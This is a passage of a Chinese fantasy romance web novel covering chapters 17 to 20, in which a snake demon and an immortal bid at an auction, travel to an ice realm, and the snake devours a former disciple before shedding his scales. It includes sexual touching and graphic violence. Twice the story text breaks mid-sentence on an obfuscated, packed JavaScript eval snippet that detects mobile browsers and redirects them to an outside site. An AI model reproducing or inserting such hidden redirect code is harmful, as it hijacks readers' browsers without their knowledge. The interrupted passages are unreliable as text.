“五万上品灵石!”拍卖师扬声询问道,“大巫姽瑶的妆奁,青竹轩贵客出价五万上品灵石!还有没有——” 玄冽道:“十万上品灵石。” 此话一出,整个拍卖场好似被掐住了脖子一样,瞬间鸦雀无声。 下一刻,无数神识骤然汇聚于紫微阁,不出片刻,天宝阁阁主便亲自举着灵盘,将妆奁送到了两人面前。 白玉京熟门熟路地递出灵石,转手便要去拿妆奁,却被人抢先一步拿走,指尖不由得一顿。 玄冽拿起妆奁,停顿了片刻才神色如常地递向身边人:“我不信。” “该你了。” 此话没头没尾,旁人根本摸不着头脑,白玉京却一下子听懂了他的意思。 ——该你回答了,你相信这道谶语吗? “……” 白玉京与玄冽对视三秒,随即莞尔一笑,抬手接过妆奁:“如此荒谬的谣言,我怎么会信呢。” “多谢郎君成全,愿郎君灵心康健……岁岁长宁。” 17.征兆 白玉京面上笑盈盈地接过妆奁,心下却道,他当然不会信那劳什子谶语,但也绝不会步姽瑶后尘。 灵族男女皆貌美但无心,脑子有病的人才会相信自己能暖化一块石头。 自我暗示般的思索结束,白玉京垂眸看去,只见所谓妆奁,其实是一个贵不可言的首饰匣。 这宝匣原本至少也该是半步仙器的水平,眼下却只是个平平无奇的三阶法宝,显然是放置的时间过于久远,巫力几乎已经散尽了。 白玉京打开妆奁,却见其中空空荡荡,只放着一面雕花小镜。 他刚一拿起小镜,还没来得及翻过来看正面,便突然感受到一股巨大的,几乎要把他给吞没的悲戚。 “……” 白玉京甩了甩头,再次凝神看去,只见镜背之上,诡异繁复的花纹中,隐约用上古巫语错落着三个字:“常”、“可”、“非”。 ……? 这三个字之间留着或大或小的空隙,就像是一句话被凭空抹去了一些字迹一样,没头没尾的,异常奇怪。 白玉京翻过镜子看向正面,镜中映出了一只脖子上挂着玉蛇坠,尾巴上箍着红玉环的白色小蛇。 他眨了眨眼,镜中的小蛇也眨了眨眼。 他突然悟了此镜的用法,抬头道:“九韶姑娘。” 苏九韶连忙应道:“前辈……?” 白玉京笑着晃了晃手里的镜子:“看这边。” 苏九韶不明所以,但还是听话地看过来,镜中果然映照出了她的面容。 ——人族没有原形,所以镜中映出的就是她的本相。 白玉京微妙地顿了一下,随即勾起嘴角,把镜面向玄冽那边侧去。 然而他刚一侧,还没来得及使坏,便被人一把抓住手腕,牢牢地钉在原地。 玄冽垂眸看过来,苏九韶见状都替白玉京捏把汗。 ——窥视灵族本体,与明目张胆地暗杀有什么区别!? 白玉京眨了眨眼,半真半假地蹙眉道:“郎君捏疼我了。” 玄冽看了他片刻,竟当真松开了手。 白玉京若无其事地收回手,随着动作,镜面刚好隔着衣服蹭过小腹,然后…… “砰——” 一声巨响过后,镜子居然毫无征兆地碎做一地。 众人闻声纷纷愕然看来,白玉京怔了一下收回指尖,却被玄冽一把攥住手腕。 苏九韶不可思议地看着这一幕,十万上品灵石拍来的妆奁,那枚镜子少说值八万,居然就这么碎了? 不对……堂堂大巫留下的梳妆镜,白玉京怎么能这么轻而易举地将它打碎? 玄冽蹙眉打量着怀中人:“伤到没有?” 白玉京摇了摇头,神色有些恍惚,似是被吓到了:“没有。” 镜子照到了他的肚子便应声而碎……什么样的东西才会无法映出本相? “对不起,郎君,是我不小心。” 白玉京这话倒是发自内心,毕竟那十万灵石名义上是玄冽出的价,实际上却是从他手里掏出去的。 如山一般的灵石洒出去居然只听了个响,他一时间心疼得简直要滴血了。 “无妨,碎了就碎了。”玄冽抬手一挥,那些残渣便消失得无影无踪,“人没事便好。” 白玉京心不在焉地点了点头,从玄冽怀中直起身,一时间连演戏也演得也没那么敬业了。 自己腹中的那抹金光绝对非同凡品,不然大巫之镜不可能照不出它的本相。 还有“常”、“非”、“可”——方才镜背上所写的这三个字,到底该如何组合?是“非常可”,还是“可非常”? 以及姽瑶飞升之前,又为什么会突然剖出她丈夫的灵心? 像这些上古流传下来的故事,往往都经过后人的编纂和筛选,大概率并非事情本貌。 姽瑶于飞升之际生剖其夫灵心,不大可能只是因为男女私情,所以……她到底想给后人暗示什么? 白玉京支在桌子上,看着只剩下空壳的妆奁苦思冥想,对外面的拍卖之声充耳不闻。 奈何他实在不擅长思考,越想越想不明白,反倒是腰杆越坐越直,到最后竟硬是跟玄冽拉开了足足一人宽的距离。 玄冽看了他片刻,突然毫无征兆地抬手,勾着腰带直接将人拽回了怀中。 “……” 白玉京猝不及防撞进他怀中,整个人被撞了个七荤八素,回神之后看到房间内其他人震惊的神情,一时间恼羞成怒,压着火气装茫然道:“……郎君?” 玄冽未答,只是示意他看向最新的拍卖品。 白玉京忍着怒意看过去,却见最新的拍卖品竟是几十匹顶阶的鲛人绡与天蚕丝。 “……?” 他怔了一下,蓦然想起来,自己先前央求玄冽来此时,用的借口似乎便是要买些新衣服去配那只镯子。 ……这石头记性倒是好。 白玉京心头的火突然消了一半,但他此刻实在没选布裁衣的心思,于是软着声音道:“我是山精野怪出身,没什么见识,不如郎君替我挑选吧。” 苏九韶:“……” 他若是山精野怪,那她们这些人算什么,野人吗? 白玉京懒得挑,故意把事抛给玄冽,但让所有人都没想到的是,玄冽闻言竟然当真替他选了。 而更让众人震惊的是,玄冽自己的储物戒里恐怕挑不出一件带颜色的法衣,但他为白玉京选的缎子居然全是华丽到耀眼的颜色。 白玉京被各种粉蓝、粉紫的色调腻得瞠目结舌,瞬间便没心情思考那些天下大事了。 ——玄冽这王八蛋脑子是不是被门夹了?只有豆蔻的小姑娘才适合穿这些颜色吧! 玄冽扭头看向他,明知故问道:“不喜欢?” “……” 白玉京骑虎难下,闻言只能皮笑肉不笑道:“怎么会呢?当然喜欢,多谢郎君。” 玄冽见状眼底划过一丝笑意,最终还是补拍了几匹素色的鲛人绡,才勉强把人哄好。 拍卖会结束,阁主亲自带着一众侍者众星捧月般将众人送出天宝阁。 刚一回到天宫,白玉京便迫不及待化出蛇尾泡进温泉。 整整一天的思考,仿佛把他整条蛇都给抽空了一样,他就那么懒懒地靠在某人结实的肩膀上,低头翻看着玉镯中拍回来的东西。 天幕之上,星辰璀璨夺目,将怀中的美人衬得格外耀眼。 玄冽垂眸打量了白玉京半晌,突然开口道:“你腹中有什么?” “……” 此话一出,空气霎时凝住了。 白玉京面上空白了须臾,回神后在心头暗骂,他原本以为玄冽没有发现异样,哪曾想是打算回家再审他……这成了精的石头怎么比猴子还精明! 白玉京恨得牙根发痒,忍不住舔了舔牙尖,面上则晃了晃尾尖,揣着明白装糊涂地笑道:“我腹中有妖丹……仙尊要剖出来看看吗?” 妖丹二字不知道触到了玄冽的哪根筋,他面色一沉,蓦然攥住白玉京手腕,招呼都没打一声便顺着经脉探查起来。 白玉京靠在他怀中,敞着命门任由对方探查。 果不出他所料,他经脉之中空空荡荡,对方半点异样也没能探查出来。 玄冽捏着手腕没有放开,低头扫过怀中人游刃有余的神态,难得蹙了眉。 ……这臭石头搞得好像在担心我一样,白玉京心下轻哼,面上则仰起脸,忍不住软声犯欠道:“需要我把衣服也脱了吗……仙尊大人?” 他原本只是习惯性恶心玄冽,未曾想对方闻言竟点头道:“好。” 白玉京一怔。 玄冽就那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16785774|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么平静地和他对视。 白玉京回神后在心中暗骂,这下流的石头怎么这么会顺杆爬! 他咬着牙低头,故作笨拙地扯了两下腰带都没扯开。 正当白玉京祈祷自己演傻子能演得玄冽倒胃口放过他时,对方却一把拉开他的手,不由分说地扯开腰带,直接从缝隙中探了进去。 “——!” 白玉京霎时僵在池水中。 半透的布料堆在那人青筋暴露的手背上,隐约可见内里被人揉捏到微微变形的白腻腰肢。 视觉冲击与触觉冲击一起直冲头顶,烧得人大脑一片空白。 更要命的是,蛇尾与腰肢的交接处,堪称浑身上下最不能触碰的地方,可玄冽不但揉了上去,还故意逆着方向轻轻拨弄那处的蛇鳞。 “……!” 蛇尾蓦然缠上他的手腕,力气之大几乎能将寻常人的骨头挤作齑粉。 “除了妖丹,我肚子里什么都没有……仙尊在摸什么呢?”白玉京死死地卷着玄冽手腕,再维持不下去那副装出来的柔顺,凶相毕露道,“我可是雄蛇,怀不了蛋的。” 玄冽没接他的话,就那么神色如常地扣着他的腰摸了一圈,确保他腹中当真无事后,才总算放开他。 白玉京面上装的游刃有余,实际上鳞片都快被人摸炸了。 对方刚一松手,他便连忙收回蛇尾,迅速把腰部以下的地方全部藏进泉水之中,以防被人发现上面那些与泉水截然不同的黏腻水光。 ……这丢人现眼的身体! 白玉京心下恼羞成怒,面上却生怕玄冽发现端倪,连忙半真半假地嗔怪道:“仙尊摸得我都饿了。” 玄冽闻言不语,直接割开手腕递到他嘴边。 美人于星光下撩起耳边碎发,低头熟练地含住那股炽热。 鲜血从喉咙淌入,不知道是白日被巫镜所照的缘故还是因为别的什么,今日他腹中的金光格外安静。 可没了其他因素干扰,随着心头血源源不断地涌入,白玉京的身体还是泛起了一股熟悉的燥热。 他强迫自己浆糊一样的脑袋冷静下来,一边吞咽着鲜血,一边分析着熟悉的缘由。 自己到底什么时候经历过类似的燥热…… 白玉京绞尽脑汁分析了半晌,直到把玄冽的心头血都给吮吸榨干后,才突然灵光一闪,想起来这股熟悉感到底从何而来。 ——五年前,他第九次蜕鳞的前夜,好像也经历过相同的燥热。 记忆回炉的一刹那,白玉京大脑瞬间一片空白。 遭了……他好像要蜕鳞了。 他万万没想到自己两次蜕鳞之间居然能隔得这么短,一时间手足无措,尾巴都不知道该往哪放了。 完蛋了完蛋了完蛋了……这下怎么办? 白玉京六神无主地松开玄冽手腕,情急之下,扭头便想去咬自己的尾尖。 好在千钧一发之际,他蓦然想起来自己尚是人形,咬尾尖这种幼蛇才会有的习惯用人形去做着实不怎么体面。 最终,他硬生生改了习惯,抿着唇用手指掐弄起那处可怜的尾尖。 玄冽扭头看到这一幕,半晌冷不丁问道:“你的尾巴能蜷到腹部吗?” “……?” 这句话没头没尾的,白玉京莫名其妙道:“仙尊指的是像这样?” 他走神间也没多想,顺着玄冽的意思便把尾巴蜷缩到了腹部。 雪白的尾尖悬在那处缺了鳞片,尚挂着黏腻水光的柔软处,不过出于本能,他没有继续往下。 从经验上来看,尾尖应当是蛇妖身上除泄.殖.腔外,最脆弱敏感的地方。 玄冽神色如常地看着眼前香艳而不自知的美人,脑海中思考的却是—— 若是强迫白玉京,让他将他自己的尾尖放进那处,会闹出什么反应? 18. 霜华 玄冽凝望着悬在那处的尾尖,半晌收回视线,神色如常地谈论起正事:“他们急着变卖法器换取灵石,或许与你徒弟的生死有关。” “沈风麟那白眼狼已经被我逐出师门,不再是我徒弟了。”白玉京向来藏不住事,忍了片刻便忍不住试探道,“不过既然他没死,仙尊接下来打算怎么办?把他找出来斩草除根吗?” 玄冽并未回答,反而垂眸看向他:“你这么恨他?” “当然了。”白玉京理所当然道,“就像在你胸口留下伤口的那个人,仙尊难道不恨他吗?” “不恨。” 白玉京动作一顿,蓦然想起了玄冽曾经和他说过的那个梦,一时语塞,半晌才干巴巴道:“……那您还真是大度。” 玄冽不置可否。 白玉京最烦他这副故弄玄虚的样子,但没法,只能捏着鼻子装乖道:“既不能打草惊蛇,又不能坐以待毙,接下来我们该怎么办?” “宋青羽飞升后仅给我留了两道线索,一道是沈风麟此人,另一道便是种子。”玄冽道,“找到那枚种子,一切便会迎刃而解。” 这个说法倒是和之前白玉京听到的说法相比,出现了些许偏差,沈风麟身上那道幽蓝色的“系统”说的是“仙种”,而宋青羽却咬定了就是枚种子。 ……为什么会出现这种差异? 白玉京边思索边道:“但于三千世界中找一枚种子,无异于大海捞针,我并非灵植,恐怕帮不上仙尊什么忙。” 他褪鳞在即,眼下宛如火烧屁股一样,恨不得当场惹怒玄冽让对方把自己扔了,好赶紧找地方藏起来做准备,不至于到了蜕鳞日再被人抓着蛇尾把玩。 “无妨。”奈何玄冽根本不买账,反而理所当然道,“去拜访霜华妖王便是了。” “她乃灵植出身,想必会有办法。” 白玉京:“……” ……不是,江心月认识你吗大哥? 最终,白玉京胳膊没能扭过大腿,因为玄冽直接以玄天仙尊的名义通知江心月,让对方准备好接驾。 不过他那副颐指气使的姿态,仿佛他不是什么正道魁首,而是妖皇新后一样,惹得白玉京忍不住在心里暗骂他。 霜华中世界乃天生的冰雪世界,严寒异常,非金丹期修士所能抵御,因此临出发前,白玉京秉承着多少得在玄冽面前装一装的理念,在玉镯内翻找起避寒的衣物。 玄冽见状,走过去直接从镯内拿出一套法衣,不容置喙道:“穿这套。” 白玉京一怔。 这套法衣似是早就裁好一般,不知在玉镯内放了多久,只等着交给它原本的主人。 向来挑剔的白玉京见状却难得没有说话,就那么沉默地站在镜子前,任由对方打扮人偶一样打扮起他。 好在玄冽这厮的品味没他想象中那么糟糕。 素白的衣袍上围着雪绒般的衣领,柔软的绒毛冲淡了他眉眼间的娇气,但在霜白之外,玄冽又给他配了一件鲜艳的绛色披风。 强烈的色调冲击,营造出一种惊魂摄魄的美感,白玉京自己见状都不由得一愣。 ——太像他原本的样子了。 不是指容貌相似,而是指营造出的气质。 玄冽站在他身后,抬手替他理了理绒领:“如何?” “……好看。”白玉京对着镜子笑了一下,仰起脸道,“仙尊给我穿什么我都喜欢。” “……” 玄冽沉默了片刻,又拿出了一枚单侧的白玉耳坠:“侧头。” 其实白玉京蛮可以撒下娇说怕疼,只要他不想戴,没人逼他。 但他却鬼使神差地什么都没说,反而当真乖巧地侧了侧脸。 玄冽低声道:“忍一下。” 凉意贴上耳垂,没等白玉京做好准备,下一秒,一阵微弱的刺痛蓦然泛起,白玉京倏然一颤,抬眸看向镜中的自己。 却见耳垂之上渗出了一点血珠,将本就无暇的耳坠衬得如明月般耀眼。 玄冽抬手,轻轻捻掉了他耳垂上的那珠血。 他的动作很慢,那一瞬间,白玉京没由来地产生了一丝错觉,好像对方原本想挂饰品的地方,并非是他的耳垂,而是……别的什么地方。 “……!” 此念头一出,白玉京猛地一颤,忍不住悄悄夹紧了双腿。 身体好奇怪……该死,褪鳞之前的身体就是这么不争气,得尽快想办法…… “疼?” “……不疼。” 玄冽用手心贴着他的腰,感受着掌下的颤抖,明知故问道:“不疼颤什么?” “……” 白玉京脸颊烧得像火,嘴硬道:“都说了没颤,是仙尊看错了。” 玄冽闻言一顿,眼底浮现了一丝转瞬即逝的笑意。 他抬手理了一下由自己亲手挂上的耳坠,看着镜中人,难得夸道:“腰若流执素,耳著明月珰。” ……附庸风雅的破石头。 白玉京站在镜前,抿着唇任由人打量,好在玄冽整理完耳坠后,终于满意地松开了他。 白玉京几不可见地松了口气,连忙不动声色地在身下施了一个清洁咒。 翌日,众人即将从八宝启程,和苏九韶一起来到传送阵的还有剩下的两个苏家子弟。 白玉京蹙了蹙眉:“其他几位道友便不必跟了,留九韶姑娘一人陪着我们去即可。” 苏九韶受宠若惊,连忙道:“多谢前辈抬爱。” 其余两位苏家子弟对视一眼,却也不敢忤逆,只能低头道:“……是。” 是日,霜华中世界,素尘传送坛。 茫茫大雪之中,仅江心月一人立于银装素裹的无垠大地上,温声道:“诸君远道而来,妾身有失远迎,招待不周之处,还请海涵。” 白玉京象征性拜道:“妖王有礼了。” 苏九韶原本正暗暗打量着传闻中的极北帝君,见霜华妖王并不似传闻中那般不近人情,也并未因妖皇陨落之事与玄冽有什么龃龉,猛地听闻白玉京行礼,连忙回神跟着道:“晚辈参见陛下。” “陛下二字妾身实不敢当,”江心月贵为妖王,却对两人还了半礼,“小友谬赞了。” 这边互相谦让了几个来回,轮到玄冽开口时,他却半句客套话也没有,直截了当道:“先前通知你的那一行人手中,恐怕有不属于这个世界的东西,务必小心。” 白玉京一怔——哪一行人? 不过很快他便意识到,玄冽所说的恐怕是流明那一行人。 所以这人突然选择霜华世界,并非当真认为江心月能替他们解决仙种一事,而是因为他察觉到流明一行人也打算前往此处。 不过玄冽是怎么得知流明一行也要来此的?难道他在那些人身上放了追踪符? 不应该啊,若当真放了追踪符,自己不可能没有察觉…… 不对。 白玉京突然意识到了什么,猛地打了个激灵。 ——根本没有什么追踪符,有问题的是他们在拍卖会上花出去的那堆灵石。 想清楚的一瞬间,白玉京被玄冽冰山一角的心机惊得头皮发麻,当即垂眸看向腕间红玉。 ……他之前怎么没发现这石头心机这么深? “多谢仙尊告知,但霜华世界中我已派人搜寻过,并未找到您所交代的东西。”江心月道,“至于其他妖界……此事并非我独自可做决定,恐怕还需要与其他妖王一同商议。” 玄冽反问道:“其他三王何时能至?” 江心月闻言不动声色地看了一眼白玉京。 白玉京闻言一顿,突然意识到这一个绝佳的蜕鳞机会。 有方才那些先例在,去其他世界他还真没把握躲过玄冽这个心机深沉的变态石头,可此地不同。 有妖王坐镇的一方世界堪比乾坤境内部,别说什么仙尊,玄冽就是天王老子,也不可能在妖族的地盘找到他。 想到这里,白玉京定下神色,用神识传音道:【我将在此地蜕鳞,你就说苍梧那蠢狗有事,需要半个月才能过来。】 江心月不动声色收回视线道:“……风啸妖王境内有变,恐十五日左右方能赶到,还请仙尊在境内稍作休息。” 玄冽闻言似乎并未起疑,点了点头道:“尽快。” “还有一事。”江心月又道,“您先前让我注意的那一行人已经到了,不过他们似乎只来了两人,并非您所说的五人。” 只有两人? 白玉京闻言一顿,玄冽垂眸:“怎么?” 白玉京回神,露出了一个笑容:“没什么,我只是在想,既然只来了两人,若只是弄丢一个……应该不算打草惊蛇吧?” 苏九韶一怔,意识到他的言外之意后,蓦然睁大眼睛。 玄冽神色如常道:“不算。” “既然如此,我想去见他们一眼,和他们打声招呼。” “毕竟……他们也算是我亲手养大的孩子。” 白玉京轻轻搂住身旁人的胳膊,软声撒娇道:“还请仙尊应允。” “好。”玄冽点了点头道,“早去早回。” 19.饱食 霜华是三千界出名的极寒之地,连传送坛都是霜雪所化。 走出传送坛,苏九韶整个人被冻得有点麻木,搓着胳膊看向不远处搂着玄冽胳膊的白玉京。 “仙尊,”小美人自然又黏腻地撒着娇,“我好冷啊。” 玄冽一言不发地解开自己披风,抬手将人裹进怀中。 江心月:“……” 苏九韶见怪不怪地收回视线,江心月却尚未习惯,有些欲言又止。 恰在此刻,她耳边突然响起一道神识所化的声音:【这石头夜夜得在温泉里泡着,你看着安排住处,不必太好。】 江心月:“……” 妖皇都这么此地无银三百两地交代了,她要是再不明白,这些年妖王恐怕也白当了。 江心月沉默片刻后开口道:“夜幕将至,请两位落榻瑶池,至于这位人族小友,不嫌弃的话还请与我一同回帝华宫。” 苏九韶连忙道:“晚辈惶恐,多谢妖王抬爱。” 玄冽言简意赅道:“有劳。” * 是夜,瑶池内,白玉京湿漉漉地靠在玄冽的肩膀上,亲昵地勾着他的脖子。 红玉摇晃,皓腕凝雪。 玄冽握着他的手腕从自己脖子上拿下来,看着怀中人再次重申道:“子时之前回来。” 白玉京一怔,笑道:“是是是,知道了……仙尊家教好严啊。” 玄冽不语,只是从池水中捞起他的蛇尾,在月光下细细检查起来。 白玉京不解:“仙尊找什么呢?” “找你被掰去鳞片的地方。” 白玉京一愣,笑了一下,再次抬手搂住他的脖子,腰部微微一发力,转身便斜坐在他怀里。 随着动作,原本浸泡在池水中的下半边身子一下子暴露在月色中,白玉京牵起玄冽的手,轻轻放到自己腰部靠下的位置。 “仙尊摸错了,掰掉鳞片的地方……在这里。” “……” 玄冽一眨不眨地看着那处:“既已愈合,为何未长出新鳞?” “蛇妖只有在蜕鳞之时方能长出新鳞。”白玉京解释完又忍不住嘴欠道,“况且,只有未成熟的幼蛇此处才会有鳞片覆盖。” 言下之意,他马上就不再是小蛇了。 玄冽就着泉水毫不客气地摸了上去,闻言淡淡道:“本尊记得,你还有一次褪鳞就该成熟了。” 白玉京:“……” ……他是怎么做到一边冷着脸一边耍流氓的? 白玉京颤抖着腰线在心下暗骂,面上一把攥住那人兴风作浪的手腕,皮笑肉不笑道:“是,仙尊记得可真清楚。” “蛇族褪鳞则入梦。”玄冽似是完全没听出他的阴阳,一边揉着那处,一边直接了当道,“下次褪鳞是何时?” ……就是洞房之夜做那档子事前也得聊点别的铺垫一下吧?这下流石头简直演都不演了! 白玉京攥着他的手腕僵持着那里,同时在心底迅速盘算起来。 普通入梦他或许还能抵抗一二,若是褪鳞期被人操控梦境…… 白玉京蓦然一颤,连忙止住幻想,睁眼说瞎话道:“那恐怕要让仙尊久等了,我也不知下次蜕鳞何时能至,或许五年,或许十年,都未可知。” “无妨。”玄冽摩挲着那处软肉淡淡道,“本尊等着。” ……等你个大爹去吧! 眼见虎狼在侧,白玉京被人摸得软了半边身子,险些闹出更丢脸的事来,于是他当夜便打着报仇的名义溜出瑶池,在玉镯上下了禁制隔绝灵石追踪后,连夜唤来了江心月。 【受此地妖气影响,本座原本预测的蜕鳞期又推前了几日,如今本座也算不准蜕鳞日具体是何日。】 白玉京平生难得谨慎一次,哪怕在玉镯上下了禁制,他也没敢直接开口。 【你替我寻个能隔绝玄冽神识的地方,两天之内尽快给我。】 江心月低头应诺:【是。】 【切记,】白玉京抿了抿唇道,【此处地方绝不能被玄冽发现,一定要密中之密。】 江心月面色泛起了一点微妙,不过很快便压下去严肃道:【是,属下明白。】 言罢,她低头一拜便消散离去。 勉强解决了一桩心腹大事,白玉京终于松了口气,抬手解除了玉镯内的禁制。 不过从帝华宫回去的路上,白玉京突然想起来自己似乎用报仇作为借口才哄得玄冽放他出来,若是不做点什么直接回去,恐怕没法交差;但如果此时再去寻那两人,回去时恐怕已经过子时了。 正当白玉京陷于两难之境,苦思冥想是撒娇蒙混过关,还是直接违反玄冽定下的规定时,远处幽幽飘来了两道熟悉的气息。 ……这下子倒是得来全不费功夫了。 白玉京于月色下望去,却见十里之外的冰面上倒映出两个人影——望清荷和杜惊春。 隆冬大雪中,杜惊春哆哆嗦嗦骂道:“昔日白玉京那畜生给的御寒之物全被流明给当了,明知我们要来寻精卫石,他个蠢材也不知道留一件!” “少说两句吧,木已成舟,抱怨无济于事。”望清荷淡淡道,“况且召唤阵需要大量灵石方能催动,并非流明擅自做主。” 听出她的言下之意后,杜惊春一顿,没敢再说什么,只是悻悻道:“可精卫石乃妖族圣石,纵使妖皇已死,也该在某个大世界中封存,怎会在如此极寒之……谁!?” 两人脚步一顿,猛然回头,却见月色下,一个熟悉的人影正站在不远处的冰面上。 “——!” 两人心肺骤停,一下子僵在原地,浑身动弹不得。 见他们看过来,那人笑了一下,挥了挥手道:“好久不见,二位。” 衣袖翻飞间,红玉做的手镯在夜色中格外鲜艳,浓郁得像血。 “在找什么?有需要本座帮忙的地方吗? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16797722|189216||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 记忆中骂骂咧咧敦促他们修炼的美人含笑向他们走来。 一切恍若从前。 杜惊春恐惧得目眦欲裂,身体却在巨大的威压下僵在原地,一动也不敢动。 不可能……不可能!白玉京怎么会出现在这里?况且他区区金丹期蛇妖,怎会有此等气势!? 假的,肯定是假的……他们绝对是陷入了什么幻觉…… 皎洁的月色洒在冰面上,映照出三道人影,其中一道不紧不慢地迈步而来。 然而,刚走到一半,那抹身影却突然如糖塑的人偶般开始融化。 晶莹的“糖浆”在星光下流淌、重塑,最终,在两人面前凝聚成一个居高临下的优雅蛇影。 “……” 望清荷在恐惧的驱使下不受控制地张开嘴巴,眼泪和汗水顺着脸颊淌下,整个人颤抖得宛如筛糠,可对眼前发生的一切她却无能为力,只能绝望地看着。 尚是幼蛇的身躯不足以直接吞入整个人身,只能先压碎其骨骼,待巨大且可怖的响声趋于平静后,再将其缓缓吞入腹中。 “咯吱……咯吱……” 幼蛇似乎从小受到过良好的教育,吃相格外优雅,寂静的夜幕中,唯一的不谐之音反而是望清荷牙关打颤发出的声响。 用餐结束,白蛇缓缓扭过头,用那双诡异而漂亮的双目凝视着望清荷恐惧到发直的眼睛。 【嘘——】 【别出声。】 是了,他们怎么忘了。 望清荷在绝望到崩溃的麻木中想起。 蛇妖是万妖之中最睚眦必报的存在,而通天蛇更是其中翘楚。 传闻中,通天蛇天性忠贞且热爱繁育,却会主动杀死不忠的伴侣和忤逆的子女。 通天蛇一族极爱生育,成熟后寿命无比漫长,而他们一族之所以还像眼下这般稀少,一是因为其择偶极为挑剔,一旦选中便至死不渝,忠贞之至。 二则是因为,刻在天性中的本能让他们控制不住想为伴侣产卵,但在溺爱幼崽的同时,他们又会在某一刻将其中的忤逆者尽数吞噬。 所以,通天蛇一族天生便拥有丰富的狩猎子嗣的经验。 诞育,抚养,然后吞噬…… 其实他们才更像沈风麟描绘的“新世界”中,那个随心创造一切,又任意抹除一切的“造物主”。 蛇影于星光下再次融化,最终化作一个望清荷无比熟悉的身影。 她呆若木鸡地站在那里,任由对方像昔日修行结束时一般,抬手理了理她溅上鲜血的衣襟:“不好意思,近些日子被人养得有些懒散了,吃相有点失礼。” “回去之后见到风麟,记得告诉他,惊春不小心死在了霜华的背面,你也没办法。” “记住了吗?”那美人露出一个艳丽无比的笑容,用望清荷最熟悉的称呼,亲昵地唤她,“不然下一个就是你了哦——” “小荷。” 20.蜕鳞 玄冽坐在寝殿中,低头翻阅着此处存放的妖族古籍。 身后传来了一阵让常人头皮发麻的摩擦声,玄冽放下古籍应声回头,看向亲亲腻腻抱上来的小美人。 他垂眸看了一眼对方拖在地上的蛇尾:“心情很好?” “嗯。”白玉京心情愉悦地靠在他肩头,“我没忍住吃了一个孩子,不会打乱你的计划吧,仙尊?” 瘆人到极致的言语在耳边响起,玄冽无动于衷,就那么神色如常地看着对方越发光泽的鳞片。 ——以他的经验来看,蜕鳞之日应该就在这两天了。 白玉京等了半晌没等到回答,不解抬眸:“……仙尊?” 玄冽抬手将人抱到怀中,摸了下对方饱腹后略微丰腴的小腹:“无妨,但下次进食还需谨慎,小心吃坏肚子。” “……” ……你摸得可真顺手啊,臭石头。 白玉京咬着牙笑道:“是,多谢仙尊关心,下次一定小心。” 此刻,两人都以为略显丰腴的蛇腹是因为白玉京乱吃东西导致的,谁也没往心头去。 连白玉京本人对此都无动于衷,很快便把此事抛之脑后了:“敢问仙尊,你打算什么时候带我离开霜华?” 玄冽一边揉着他的小腹帮助他消化,一边回道:“不急,待他们下一步动作出来后再做打算。” 白玉京被他揉得起了几分困意,忍不住打了个哈欠,想了一会儿才想明白玄冽的意思。 既然沈风麟因为重伤无法行动,只能让他手下的人帮他寻找仙种,那他势必会给这些人一些提示。 鉴于沈风麟卖师求荣的“丰功伟绩”,这些人身上未必没有禁咒。若是抓了他们直接逼问,无外乎两种结果,自爆或者给出假消息混淆视听。 先前在八宝时,那五人集聚,下手难免容易出现差池。 但如今前来霜华的仅有望清荷与杜惊春两人,杜景春已死,望清荷成了惊弓之鸟,此时最易被逼出马脚。 想明白玄冽的打算后,白玉京在心底轻哼一声,不走刚好,待本座褪了鳞,一切都好说。 “对了,”他突然想起了什么,“我找到那两人的时候,他们似乎在讨论什么召唤阵。” 玄冽闻言毫无异色:“我知道。” ……所以这人果然听到了先前那两人的交流。 白玉京抿了抿嘴唇,垂眸看向玉镯内堆积如山的灵石,一时间感觉自己像捧了一堆烫手山芋。 玄冽堂而皇之地承认此事,几乎是在向他明示这些灵石的作用,和威胁无异。 ……呵,区区一些下了咒的灵石而已,当真以为他没办法处置了吗? 等着吧臭石头,白玉京在心底带着微妙的恶意想到,待本座蜕鳞成熟之后,让你好好看看,到底谁才是主人。 * 两日之后,极川宫。 霜华中世界其实像一张巨大的扁平冰盘,其正面坐落着诸宫与雪森,无数冰系妖物栖息其中,在霜华妖王的庇护下繁衍生息。 其背面则是永不见天日的恒夜,星光璀璨之下,满天的霜雪中仅有一条未冻的极川。 极川之上的极川宫是整个霜华中世界的真正核心,其中存放着妖族至宝精卫石,这便是江心月为白玉京精心所选的蜕鳞之处了。 白玉京对此非常满意。 第十次蜕鳞代表着彻底的成熟,意味着他即将迎来稳定的发情期和漫长到几乎与天地同寿的生命。 但代价是接近十日的虚弱,对于波诡云谲的修真界来说,一日的虚弱便足以丧命,更不用说十日了。 好在有精卫石庇佑再加妖皇真身坐镇,整个极川宫彻底隐匿在风雪之中,没了灵石指引,便是玄冽也不能在夜幕中找到他。 白玉京放心地化出蛇尾,喘息着靠在宫内的冰床上。 蛇腹处的锋利鳞片无意识地刮过冰床,发出阵阵骇人的声音,碎冰散落一地。 但更靠内处没有鳞片遮盖的地方,相较之下就显得有些可怜了。 忍着颤栗一次次碾过冰雪,被刺激得险些落泪后,白玉京终于将一波潮汐捱了过去。 他随便擦了下自己狼狈的脸颊,喘着气看向自己一片狼藉的小腹。 ……不会磨坏吧? 他有些担心地扒开雪渣,看到那处没有鳞片覆盖,被他硬生生磨到泛红的细嫩之处,忍不住用指尖摸了上去。 “嘶……” 白玉京不得要领地碰了两下,却越揉越肿,只能悻悻收回手指,扭头埋进冰床上。 